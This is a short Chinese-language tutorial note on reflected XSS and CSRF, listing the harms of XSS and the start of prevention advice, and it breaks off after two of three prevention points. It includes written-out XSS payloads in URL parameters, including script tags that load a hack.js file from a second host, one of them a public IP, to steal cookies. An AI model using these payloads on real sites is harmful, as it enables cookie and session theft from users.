xss和xsrf攻击

xss

xss

反射型-url参数直接注入

//普通
http://localhost:3005/?from=china
//alert尝试
http://localhost:3005/?from=<script>alert(123)</script>
// 获取cookie
http://localhost:3005/?from=<script src="http://localhost:3006/hack.js"></script>
http://114.215.87.206:3005/?from=<script src="http://114.215.87.206:3006/hack.js"></script>

危害：XSS攻击的危害，Scripting能干啥就能干啥

获取页面数据
获取cookies
劫持前端逻辑
发送请求
偷取网站的任意数据
偷取用户的资料
偷取用户的密码和登录态
欺骗用户

预防:
1、转义字符
2、设置cookie为只读
3、